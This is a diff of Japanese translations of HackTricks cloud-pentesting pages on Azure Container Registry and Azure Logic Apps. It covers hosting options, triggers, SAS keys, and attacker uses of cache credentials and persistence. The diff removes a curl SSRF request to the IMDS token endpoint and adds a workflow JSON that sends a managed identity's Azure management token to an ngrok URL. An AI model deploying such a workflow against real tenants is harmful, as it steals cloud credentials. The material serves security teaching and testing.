-しかし、**タスク**には**システムおよびユーザー管理アイデンティティ**を付けることができます。これらのタスクは、コンテナ内で**権限を昇格させる**のに役立ちます。権限昇格のセクションでは、タスクを使用して権限を昇格させる方法を見ることができます。 +しかし、**tasks** には **system and user managed identity** を付けることができます。これらのタスクは、コンテナ内で **escalate privileges** に役立ちます。特権昇格のセクションでは、タスクを使用して特権を昇格させる方法を見ることができます。 -### キャッシュ +### Cache -キャッシュ機能は、**外部リポジトリから画像をダウンロード**し、新しいバージョンをレジストリに保存することを可能にします。これは、Azure Vaultから資格情報を選択することで、いくつかの**資格情報を設定**する必要があります。 +キャッシュ機能は、**download images from an external repository** を行い、新しいバージョンをレジストリに保存することを可能にします。Azure Vaultから資格情報を選択することで、いくつかの **credentials configured** を持つ必要があります。 -これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**外部プラットフォームにピボット**することを可能にし、**外部リポジトリから画像をダウンロード**し、キャッシュを設定することは**持続メカニズム**としても使用できるからです。 +これは攻撃者の視点から非常に興味深いです。なぜなら、攻撃者が資格情報にアクセスするのに十分な権限を持っている場合、**pivot to an external platform** を可能にし、**download images from an external repository** を行い、キャッシュを構成することは **persistence mechanism** としても使用できるからです。 -## 列挙 +## Enumeration > [!WARNING] > レジストリ名に大文字が含まれていても、アクセスするためのURLには小文字のみを使用することが非常に重要です。 @@ -143,10 +143,16 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` +## 認証されていないアクセス + +{{#ref}} +../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +{{#endref}} + ## 権限昇格とポストエクスプロイト {{#ref}} -../az-privilege-escalation/az-automation-accounts-privesc.md +../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} ## 参考文献 diff --git a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md index afbf78db0..8f07c502e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-logic-apps.md @@ -4,99 +4,174 @@ ## 基本情報 -Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス**、データソース、アプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を行うように設計されています。 +Azure Logic Appsは、開発者が**さまざまなサービス**、データソース、およびアプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。 -Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するためのビジュアルデザイナーを提供しており、Office 365、Dynamics CRM、Salesforceなどのさまざまなサービスに簡単に接続して対話できます。また、特定のニーズに合わせたカスタムコネクタを作成することもできます。 +Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するための**ビジュアルデザイナー**を提供し、さまざまなサービスに接続して相互作用するのを容易にします。 -Logic Appを作成する際には、ワークフローの状態、実行履歴、アーティファクトを保存する外部ストレージアカウントを作成またはリンクする必要があります。このストレージは、監視のための診断設定で構成でき、ネットワークアクセス制限で保護するか、仮想ネットワークに統合して、入出力トラフィックを制御できます。 +
https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png
-### 例 - -- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセス**を自動化できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。 -- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して、**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーし、動的なデータ処理を可能にすることが挙げられます。 - -### LogicAPPの可視化 - -グラフィックでLogicAppを表示することができます: - -
- -または、"**Logic app code view**"セクションでコードを確認することができます。 - -### SSRF保護 - -たとえ**Logic AppがSSRFに対して脆弱であっても**、Logic Appsはそれを許可しないため、メタデータから資格情報にアクセスすることはできません。 - -たとえば、次のようなものはトークンを返しません: -```bash -# The URL belongs to a Logic App vulenrable to SSRF -curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v -``` ### ホスティングオプション いくつかのホスティングオプションがあります: * **消費型** -- **マルチテナント**:共有コンピューティングリソースを提供し、パブリッククラウドで運用され、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。これにより「シングルワークフロー」が展開されます。 +- **マルチテナント**:これは共有コンピューティングリソースを提供し、パブリッククラウドで動作し、操作ごとの料金モデルに従います。これは軽量でコスト効果の高いワークロードに最適です。これを「シングルワークフロー」と呼びます。 * **スタンダード** -- **ワークフローサービスプラン**:ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースで、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。 -- **アプリサービス環境V3**:完全な隔離とスケーラビリティを持つ専用コンピューティングリソースです。また、ネットワーキングのためにVNETと統合され、環境内のアプリサービスインスタンスに基づく料金モデルを使用します。 -- **ハイブリッド**:ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセスと共に許可し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。これは、コンテナアプリ接続環境に依存しています。 +- **ワークフローサービスプラン**:これは、ネットワーキングのためのVNET統合を持つ専用コンピューティングリソースを提供し、ワークフローサービスプランインスタンスごとに料金が発生します。これは、より高い制御を必要とする要求の厳しいワークロードに適しています。 +- **App Service Environment V3**:これは、完全な隔離とスケーラビリティを持つ専用コンピューティングリソースを提供します。また、ネットワーキングのためにVNETと統合され、環境内のApp Serviceインスタンスに基づく料金モデルを使用します。 +- **ハイブリッド**:これは、ローカル処理とマルチクラウドサポートのために設計されています。顧客管理のコンピューティングリソースをローカルネットワークアクセスで許可し、Kubernetes Event-Driven Autoscaling (KEDA)を利用します。これは、コンテナアプリ接続環境に依存しています。 -### 主な機能 -- **ストレージ**:Logic Appsは、ワークフローの状態、実行履歴を保存するために外部のAzure Storageアカウントを必要とし、Logic Appと同じリソースグループ内に存在する必要があります。 -- **ネットワーキングとセキュリティ**:Logic Appsは、パブリックまたはプライベートアクセスで構成できます。デフォルトでは、アプリはインターネットに開放されていますが、隔離された接続のためにAzure Virtual Networkと統合できます。 -- **アプリケーションインサイト**:Azure Monitor Application Insightsを通じてアプリケーションパフォーマンス管理(APM)を有効にし、パフォーマンスを追跡し、異常を検出し、分析を提供できます。 -- **アクセス制御**:Logic Appsは、システム管理のIDとユーザー管理のIDをサポートしています。 +## "シングル" ワークフロー / 消費プラン -### "シングル" ワークフロー +**ワークフロー**は、特定のプロセスや目的を実行するための自動化されたステップまたはタスクの構造化されたシーケンスです。これは、異なるアクション、条件、および決定がどのように相互作用して望ましい結果を達成するかを定義し、操作を合理化し、手動の労力を削減します。 -**ワークフロー**は、特定のプロセスや目的を実行するための自動化されたステップやタスクの構造化されたシーケンスです。異なるアクション、条件、決定がどのように相互作用して望ましい結果を達成するかを定義し、操作を合理化し、手動の労力を削減します。ワークフローは、複数のシステムを統合し、イベントやルールをトリガーし、プロセスの一貫性と効率を確保します。 +> [!TIP] +> 消費プランでは、**Logic App自体を必要とせずにシングルワークフローを作成**できます。 -Azure Logic Appsは、**Logic App自体を必要とせずにシングルワークフローを作成する機能**を提供します。 +### トリガーとアクション -各ワークフローには異なる**トリガー**があります。これらのトリガーは、ワークフローが従うステップです。各トリガーには、そのトリガーのタイプに応じて異なるパラメータがあります: -- 接続名 -- **認証タイプ**は、アクセスキー、Microsoft Entra ID、統合サービスプリンシパル認証、Logic Apps管理IDなどがあります。 +ワークフローのトリガーは、**ワークフローが開始されるべき時**を示します。トリガーはHTTPエンドポイント、スケジュール、またはAzureや外部アプリからの数十の異なるイベントである可能性があります。 -トリガーにはさまざまな設定もあります: -- スキーマ検証:受信データが事前定義された構造に従っていることを確認します。 -- 同時実行制御:並行実行の数を制限します。 -- トリガー条件:トリガーが発火する前に満たす必要がある条件です。 -- ネットワーキング:データ転送のチャンクサイズを構成し、応答内のワークフローヘッダーを抑制することを許可します。 -- **セキュリティ**:ログや出力内の機密データを隠すために**セキュア入力/出力を有効にします**。 +各ワークフローには異なる**アクション**があります。これらのアクションは、ワークフローが従うステップです。アクションに応じて、次のような異なるパラメータが設定可能です: -**設定とAPI接続:** +- **接続名**:アクションが相互作用するために使用する接続。 +- **認証タイプ**:異なるオプションは、アクセスキー、Microsoft Entra ID、統合サービスプリンシパル認証、およびLogic Apps管理IDです。 +- 読み取り専用の観点から、**認証**データは常に興味深いものであり、機密情報を含む可能性があります。 +- 書き込みの観点から、**認証**データは常に興味深いものであり、割り当てられた管理IDの権限を使用できる可能性があります。 +- ... -ワークフローには、次のような異なる設定があります: -- 許可された受信IPアドレス:この設定により、Logic Appをトリガーまたは開始できる人を制限できます。オプションは、任意のIP、他のLogic Appsのみ、特定のIP範囲です。 -- 統合アカウント:ここで、Logic Appを統合アカウントにリンクできます。 -- 高スループット:この設定により、Logic Appがより多くのリクエストを迅速に処理できるようになります。 -- 実行履歴保持:Logic Appの実行履歴が保持される期間です。 +アクションには、アクション自体に依存するさまざまな**設定**もあります。最も一般的な設定のいくつかは次のとおりです: -ワークフローが持つ異なるAPI接続を確認できます。これらの接続のそれぞれには異なるプロパティがあり、認証タイプを変更できるAPI接続を編集する可能性があります。 +- **再試行ポリシー**:再試行の回数とその間隔を設定します。 +- **タイムアウト**:アクションがタイムアウトする前に実行できる最大時間を設定します。 +- **実行後**:アクションが実行される前に満たすべき条件を指定します。 +- **スキーマ検証**:受信データが事前定義された構造に従っていることを確認します。 +- **ネットワーキング**:異なるヘッダーを管理する方法を設定します。 +- **セキュア入力/出力**:これにより、実行履歴から入力/出力データが隠されます。 +- ... -**履歴とバージョン:** -異なる実行の**履歴**にアクセスするオプションがあり、設定、出力、パラメータ、コードが表示されます。 +### 認可ポリシー -また、ワークフローの異なる**バージョン**にアクセスするオプションがあり、コードを確認し、現在のワークフローを古いバージョンに変更できます。 - -**認証:** -Azure Logic Appsは、リクエストベースのトリガーを保護するためにEntra IDを使用した**認証ポリシー**をサポートしています。有効なアクセストークンを要求する必要があります。このトークンには特定のクレームが含まれている必要があります: -- 発行者(iss):アイデンティティプロバイダーを検証するため -- 対象(aud):トークンがLogic Appを対象としていることを確認するため -- 主体(sub):呼び出し元を特定するため -- JWT ID(JSON Web Token識別子) +これらのワークフローは、Entra IDを使用した**認可ポリシー**をサポートし、有効なアクセストークンを要求することでリクエストベースのトリガーを保護します。このトークンには特定のクレームが含まれている必要があります: +- 発行者 (iss) は、アイデンティティプロバイダーを検証します +- 対象 (aud) は、トークンがLogic Appを対象としていることを確認します +- 主題 (sub) は、呼び出し元を特定します +- JWT ID (JSON Web Token識別子) - カスタムクレーム リクエストが受信されると、Logic Appsはこれらのクレームに対してトークンを検証し、構成されたポリシーと一致する場合にのみ実行を許可します。これにより、別のテナントがワークフローをトリガーすることを許可したり、他のソースからのトリガーを拒否したりすることができます。たとえば、https://login.microsoftonline.com/からのトリガーのみを許可することができます。 -**アクセスキー:** -リクエストベースのトリガーを初めて保存すると、Logic Appsは自動的にワークフローを呼び出す権限を付与するSAS署名を持つ一意のエンドポイントを作成します。このSAS署名は、トリガーのURLに埋め込まれています。このキーは再生成でき、新しいSAS署名が付与されますが、キーはリストできません。 +### アクセスキー -アクセスキーを使用して呼び出すためのURL: +ワークフローは、作成時に**2つのアクセスキー**を生成します。これらのキーは、ワークフローへのリクエストを認証および承認するために使用されます。キーは、リクエストURLに含まれる共有アクセス署名(SAS)トークンを生成するために使用されます。 +したがって、HTTPエンドポイントトリガーが作成されると、ワークフローを呼び出す権限を付与する**SAS署名付きのユニークなHTTPエンドポイント**が生成されます。 + +これらの**キーは再生成可能**であり、これらのトリガー用に新しいSAS URLが作成されますが、**キーの値にはアクセスできません**。 + +トリガーを呼び出すためのSAS URLの例: +``` https://.logic.azure.com:443/workflows//triggers//paths/invoke?api-version=&sp=%2Ftriggers%2F%2Frun&sv=&sig= +``` +### ワークフロー設定とコンポーネント + +- **トリガーアクセスオプション**: この設定により、ワークフローをトリガーまたは開始できる人を制限できます。オプションは、Any IP、Only other workflow、Specific IP rangesです。 +- **統合アカウント**: ワークフローを統合アカウントにリンクします。 +- **高スループット**: 有効にすると、より多くのリクエストを並行して迅速に処理できます。 +- **実行履歴保持**: これは、実行履歴を保持する日数を示します。 +- **API接続**: これは、ワークフローが持つ異なるAPI接続を示します。これらの接続のそれぞれには異なるプロパティがあり、認証タイプを変更できるAPI接続を編集する可能性があります。 +- **履歴**: 古い実行の**履歴**にアクセスし、データを取得するオプションがあります: 設定、出力、パラメータ、およびコード。 +- **バージョン**: ワークフローの異なる**バージョン**にアクセスするオプションがあり、コードを確認し、現在のワークフローを古いバージョンに変更できます。 +- **マネージドID**: ワークフローに1つのシステムマネージドIDとサーバーユーザーマネージドIDを割り当てることが可能です。 + +### MIアクセストークンの漏洩 + +ワークフロー内のHTTPアクションは、外部ウェブにデータを送信するために使用できます。HTTPアクションの**高度なパラメータ**で、**認証タイプ**を**`Managed identity`**として設定し、使用する**割り当てられたマネージドID**(システムまたはユーザー)を選択できます。 + +さらに、生成されたJWTのオーディエンスを**`Audience`**で指定することが可能で、例えば**`https://management.azure.com/`**を指定することで、生成されたトークンを使用してAzure管理APIにアクセスできます。 + +> [!WARNING] +> 攻撃者が制御するサーバーにHTTPリクエストを送信するようにアクションを設定すると、ワークフローに割り当てられたマネージドIDの**アクセストークンが漏洩する**可能性があります。 + +> [!TIP] +> 攻撃者は、他のタイプのアクションを使用して**他のAzureサービスに直接アクセスし**、マネージドIDの権限でアクションを実行することもできます。 + +これは、HTTPエンドポイントを公開し、HTTPアクションを使用して設定されたURL(この場合はngrok)にアクセストークンを漏洩させるワークフローのコードです: + +
+ワークフローコード +```json +{ +"definition": { +"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", +"contentVersion": "1.0.0.0", +"triggers": { +"When_a_HTTP_request_is_received": { +"type": "Request", +"kind": "Http" +} +}, +"actions": { +"HTTP": { +"runAfter": {}, +"type": "Http", +"inputs": { +"uri": "https://22b6-81-33-70-107.ngrok-free.app", +"method": "GET", +"authentication": { +"type": "ManagedServiceIdentity", +"audience": "https://management.azure.com/" +} +}, +"runtimeConfiguration": { +"contentTransfer": { +"transferMode": "Chunked" +} +} +} +}, +"outputs": {}, +"parameters": { +"$connections": { +"type": "Object", +"defaultValue": {} +} +} +}, +"parameters": { +"$connections": { +"type": "Object", +"value": {} +} +} +} +``` +
+ +## Logic Apps / Standard Plan + +### "Single" ワークフローとの違い + +Logic Appsは基本的にバックグラウンドでApp Serviceを使用して**複数のワークフローをホストできるロジックアプリをホストします**。これは、ロジックアプリがApp Serviceと"Single"ワークフローのすべての機能を持つことを意味します。 + +いくつかの主要な機能は次のとおりです: + +- **App Service プラン**: StandardプランのLogic AppsはApp Serviceプラン上にホストされているため、次のようなすべてのApp Service機能を使用できます: +- **ネットワーク制限**: アクセス可能な場所を指定します。 +- **デプロイメントセンター**: Github、Bitbucket、Azure Repos、External Git、Local Gitなどの外部プラットフォームからデプロイします。 +- **FTPアクセス**: FTPを通じてLogic Appのファイルにアクセスできます。 +- **ストレージアカウント**: サービスアプリは情報を保存するためにストレージアカウントを使用します。 +- **環境変数とアプリ設定**: 環境変数とアプリ設定を構成でき(ストレージアカウントへのアクセスキーなどの機密情報を見つけることができます)、... +- **パラメータ**: パラメータを使用すると、開発、テスト、製品で異なる値を管理できます。これにより、最初にワークフローを設計し、その後で環境固有の設定を簡単に調整できます。 +- **専用リソース**: StandardプランのLogic Appsは専用リソースを持っています。 +- **複数のワークフロー**: 複数のワークフローを作成できます。 + +App Servicesに関する詳細は次を確認してください: + +{{#ref}} +../az-services/az-app-services.md +{{#endref}} + ### 列挙 @@ -203,19 +278,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "" -Name " -Integra ../az-post-exploitation/az-logic-apps-post-exploitation.md {{#endref}} +## 永続性 + +{{#ref}} +../az-persistence/az-logic-apps-persistence.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}}